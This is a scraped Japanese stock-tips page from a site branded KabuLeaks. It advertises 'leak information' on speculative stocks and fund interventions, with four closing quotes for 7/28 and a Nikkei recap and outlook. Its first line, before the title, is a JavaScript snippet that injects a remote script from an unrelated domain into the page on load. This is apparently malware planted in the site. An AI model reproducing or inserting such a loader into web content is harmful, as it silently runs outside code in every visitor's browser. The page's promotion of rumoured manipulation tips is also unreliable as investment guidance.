;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/28 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【7/28 大引け】

【9697】カプコン 2,716円 -32 (-1.16%)

【9603】エイチ・アイ・エス 4,600円 +15 (+0.32%)

【3825】リミックスポイント 2,427円 -33 (-1.34%)

【8739】スパークス・グループ 317円 +18 (+6.02%)

本日の日経平均株価は21円安と3日続落。米株安や世界景気の減速懸念で売り先行スタート。一時下げ幅を一279円まで拡大、前場は大台の2万円割れまで接近する場面があったものの、前場引け後。上海総合が下げ渋ったことをきっかけに後場はGUスタート。その後も急速に下げ幅を縮小し、プラス圏に浮上。ただ、明日にFOMCの結果発表を控えることもあって買いの勢いは続かず、大引けにかけては再びマイナス圏に沈んだ。

個別では、第1四半期決算や株式分割、株主優待新設を発表を材料視された【3778】さくらインターネットがストップ高。後場、ザラ場中に決算発表。第1四半期は7割の増益の【2267】ヤクルトが急伸したほか、値動きの軽い小型株、一部短期筋の仕掛けとの噂も出ている【6380】オリエンタルチエン鉱業や【7897】ホクシンなどが上昇。その他、【3689】イグニス、【2772】ゲンキーなどの上昇も目立った。

明日の日経平均は、本日一時2万100円台を割り込み、7月14日に空けた窓埋め完了で調整一巡が意識されるところだが、引け後に決算を発表した【6954】ファナックが下方修正を発表これが重しとなる可能性も。また、明日にFOMCの結果発表を控えることもあって、例え自律反発の展開となっても一巡後はこう着感の強い相場展開となりそうだ。